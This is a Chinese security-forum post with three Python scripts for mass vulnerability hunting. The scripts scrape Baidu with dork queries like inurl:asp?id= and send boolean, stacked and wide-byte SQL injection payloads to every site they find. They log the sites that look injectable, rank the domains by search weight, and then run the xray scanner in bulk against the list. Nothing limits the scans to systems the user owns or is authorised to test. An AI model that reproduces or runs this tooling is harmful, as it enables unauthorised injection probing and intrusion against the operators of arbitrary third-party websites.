用户
搜索
  • TA的每日心情
    开心
    昨天 13:16
  • 签到天数: 52 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋-脚本小子

    Rank: 2

    8

    主题

    21

    帖子

    890

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2020-4-7
    发表于 2021-1-2 14:59:01 63998
    前言:
    最近在学python,所以想了下做一些脚本来批量刷漏洞
    注:本文部分代码为摘抄并修改自CSDN等
    如侵权,请告知


    一:简述思路
    1.1:脚本一
    首先,既然是批量刷漏洞,那么肯定要获取很多网站的网址。
    那么我们的网站从哪来呢?
    百度爬取是一种不错的选择。

    通过百度爬取的链接,我们又能做些什么呢?
    首先,我们可以通过百度语法筛选,
    比如sql注入关键字如:inurl:asp?id=
    5{P5U~DJJ%V`}NHTI_SRY_E.png

    通过字符串拼的方式,GET请求,
    通过对比返回页面来测试,是否存在sql注入漏洞
    将有sql注入漏洞的链接存在一个文件夹
    将所有获取到的链接存在一个文件夹

    1.2:脚本二
    我们知道,SRC收的公益漏洞要求权重>=1
    所以,我们可以通过爱站查询权重的方式来对我们获取到的链接进行筛选
    但是,我们获取到的链接很多都是存在目录,参数的例如:http://xxxx.com/about.asp?id=1
    而当我们查询这种链接形式的权重时,会报错
    于是乎,我们就需要处理我们获取到的链接进行处理:
    (1)我们获取到的链接很多都是同一网站的,
    所以我们要先将获取到的链接处理成域名形式,
    并且将相同的域名去除掉,减少之后获取权重,扫描漏洞的工作量

    (2)并通过字符串拼接的方式,
    以'https://www.aizhan.com/cha/'+域名的形式
    通过爱站网进行权重查询
    将权重不为0的网站存储在一个文件夹
    将权重为0的网站存储在一个文件夹

    1.3:脚本三
    当我们链接也获取完了,权重也查询完了的时候
    就该扫描漏洞了,目前有两种思路
    一种是i春秋论坛版主 Adian大蝈蝈 的文章
    针对低配置机器的AWVS13批量扫描脚本或者通过python脚本调用xray批量扫描
    第一种请看版主的文章
    https://bbs.ichunqiu.com/thread-59657-1-1.html
    第二种见下文
    二:代码实现
    2.1:百度爬取链接并检测注入
    代码如下

    [Python] 纯文本查看 复制代码
    import re
    import sys
    import requests
    import threading
    from queue import Queue
    from bs4 import BeautifulSoup as bs
    
    
    class BaiduSiper(threading.Thread):
        def __init__(self, queue):
            threading.Thread.__init__(self)
            self._queue = queue
    
        def run(self):
            while not self._queue.empty():
                url = self._queue.get()
                try:
                    self.get_url(url)
                except Exception:
                    pass
    
        def get_url(self, url):
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
            r = requests.get(url, headers=headers)
            soup = bs(r.text, 'lxml')
            urls = soup.findAll("a", {"data-click": re.compile((".")), "class": None})  # a标签后加字典
            #        print(urls)
            for i in urls:
    
                try:
    
                    get_url = requests.get(i['href'], headers=headers, timeout=10)
                    if get_url.status_code == 200:
                        with open('./url.txt', 'a', encoding='utf-8') as xie:
                            xie.write(str(get_url.url) + '\n')
                        print(get_url.url)
                        scan = get_url.url
                        payloads = {'src': scan,
                                    'bool_true': scan + ' aND  99=99',
                                    'bool_false': scan + ' aND  99=11',
                                    'new1':scan + '%27aND 99=99--+',
                                    'new2':scan + '%27aND 99=11--+',
                                    'dui1':scan + '%27;aND 99=99--+',
                                    'dui2':scan + '%27;aND 99=11--+',
                                    'kuan1':scan + '%df%27aND 99=99--+',
                                    'kuan2': scan + '%df%27aND 99=11--+',
                                    }
    
                        try:
                            #下方可添加新规则
                            r_scr = requests.get(payloads['src'], timeout=5).headers['Content-Length']
                            r_true = requests.get(payloads['bool_true'], timeout=5).headers['Content-Length']
                            r_false = requests.get(payloads['bool_false'], timeout=5).headers['Content-Length']
                            r_new1 = requests.get(payloads['new1'], timeout=5).headers['Content-Length']
                            r_new2 = requests.get(payloads['new2'], timeout=5).headers['Content-Length']
                            r_dui1 = requests.get(payloads['dui1'], timeout=5).headers['Content-Length']
                            r_dui2 = requests.get(payloads['dui2'], timeout=5).headers['Content-Length']
                            r_kuan1 = requests.get(payloads['kuan1'], timeout=5).headers['Content-Length']
                            r_kuan2 = requests.get(payloads['kuan2'], timeout=5).headers['Content-Length']
                        except Exception:
                            pass
    
                        if r_scr == r_true or r_new1 == r_true:
                            if r_true != r_false or r_new1 != r_new2:
                                with open('./sql.txt', 'a', encoding='utf-8') as xie:
                                    xie.write(str(get_url.url) + '\n')
                                print(['存在注入:'], scan)
                        elif  r_new1 == r_true:
                            if  r_new1 != r_new2:
                                with open('./sql.txt', 'a', encoding='utf-8') as xie:
                                    xie.write(str(get_url.url) + '\n')
                                print(['存在注入:'], scan)
                        elif  r_dui1 != r_dui2:
                            with open('./sql.txt', 'a', encoding='utf-8') as xie:
                                xie.write(str(get_url.url) + '\n')
                            print(['存在注入:'], scan)
                        elif  r_kuan1 != r_kuan2:
                            with open('./sql.txt', 'a', encoding='utf-8') as xie:
                                xie.write(str(get_url.url) + '\n')
                            print(['存在注入:'], scan)
                        #在下方与if r_scr缩进相同的位置可添加新的对比
                except Exception:
                    pass
    
    
    def main(keyword, pn):
        queue = Queue()
        for i in range(0, pn * 10, 10):
            queue.put('https://www.baidu.com/s?wd=' + keyword + '&pn=' + str(i))
        threads = []
        thread_connt = 4
        for i in range(thread_connt):
            threads.append(BaiduSiper(queue))
        for t in threads:
            t.start()
        for t in threads:
            t.join()
    
    def usage():
        if len(sys.argv) != 3:
            print("用法: %s 百度语法关键字 要爬取页数" % sys.argv[0])
            print("例如: %s inurl:php?id= 10" % sys.argv[0])
            print('+' + '-' * 60 + '+')
            sys.exit()
    
    if __name__ == '__main__':
        usage()
        main(sys.argv[1], int(sys.argv[2]))



    2.2:处理链接并查询权重分类保存
    代码如下

    [Python] 纯文本查看 复制代码
    import requests
    from bs4 import BeautifulSoup
    from urllib.parse import urlparse
    import sys
    
    def chuli(sub):
        subdomian = []
        f = open("./%s.txt" % sub)
        line = f.readline()
        n = 0
        while line:
            line = f.readline()
            domain = str(urlparse(line).netloc)
            if domain in subdomian:
                pass
            else:
                subdomian.append(domain)
                n += 1
    
        f.close()
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
        n = 0
        m = 0
        for i in subdomian:
            url = 'https://www.aizhan.com/cha/'+ i +'/'
            try:
                conn = requests.session()
                conn.get('https://www.aizhan.com', headers=headers)
                html = conn.get(url, stream=True, headers=headers, timeout=8)
                soup = BeautifulSoup(html.content, 'html.parser')
                get_quan = soup.find('a',attrs={'id':'baidurank_br','target':'_blank'}).find_next('img')
                a = get_quan['alt']
                if a != 'n':
                    with open('./%s.txt' % a, 'a', encoding='utf-8') as xie:
                        xie.write(str(i) + '\n')
                else:
                    with open('./%s.txt' % a, 'a', encoding='utf-8') as xie:
                        xie.write(str(i) + '\n')
                n+=1
                print('已处理%d个'%n)
            except:
                m+=1
                print('域名:%s查询失败' %i)
        print('查询权重并分类完成')
        print('查询失败%d个' %m)
    
    if __name__ == '__main__':
        sub = sys.argv[1]
        chuli(sub)


    2.3:调用xray对文件内链接进行批量扫描
    代码如下

    [Python] 纯文本查看 复制代码
    import os
    import hashlib
    import re
    
    def xrayScan(targeturl,outputfilename="test"):
        scanCommand="xray.exe webscan --basic-crawler {} --html-output {}.html".format(targeturl,outputfilename) # xray.exe根据xray程序名改
        print(scanCommand)
        os.system(scanCommand)
        return
    def pppGet():
        f = open("target.txt") #根据文件名改
        lines = f.readlines()
        pattern = re.compile(r'^http://')
        for line in lines:
            try:
                if not pattern.match(line.strip()):
                    targeturl="http://"+line.strip()
                else:
                    targeturl=line.strip()
                print(targeturl.strip())
                outputfilename=hashlib.md5(targeturl.encode("utf-8"))
                xrayScan(targeturl.strip(), outputfilename.hexdigest())
            except Exception as e:
                print(e)
                pass
        f.close()
        print("扫描完毕")
        return
    def main():
        pppGet()
        return
    if __name__ == '__main__':
        main()


    2.4:python库的安装
    代码如下
    [Python] 纯文本查看 复制代码
    # PipInstall.py
    
    import os
    
    libs = {"BeautifulSoup4", "requests"};
    #libs中可添加需要安装的库
    
    try:
        for lib in libs:
            print("start install {0}".format(lib));
            os.system("pip install " + lib);
            print("{} install successful".format(lib));
        print("全部安装成功");
    except:
        print("部分安装出现错误");


    三:总结
    使用前先修改下目录名先运行2.4安装python依赖库

    注:未经本人允许禁止转载



    小白一枚,求大佬们带带弟弟
    来看看了!
    使用道具 举报 回复
    感谢分享。
    使用道具 举报 回复
    发表于 2021-1-4 17:58:55
    整一整瞧一瞧
    末心网络安全团队 | Q群374327762 | QQ1044631097
    使用道具 举报 回复
    看一看怎么事
    使用道具 举报 回复
    在这里告白M0x1n 哥哥
    使用道具 举报 回复
    围观。
    菜鸡一个。大佬别喷,感谢!powered by YanXia Q210246020
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册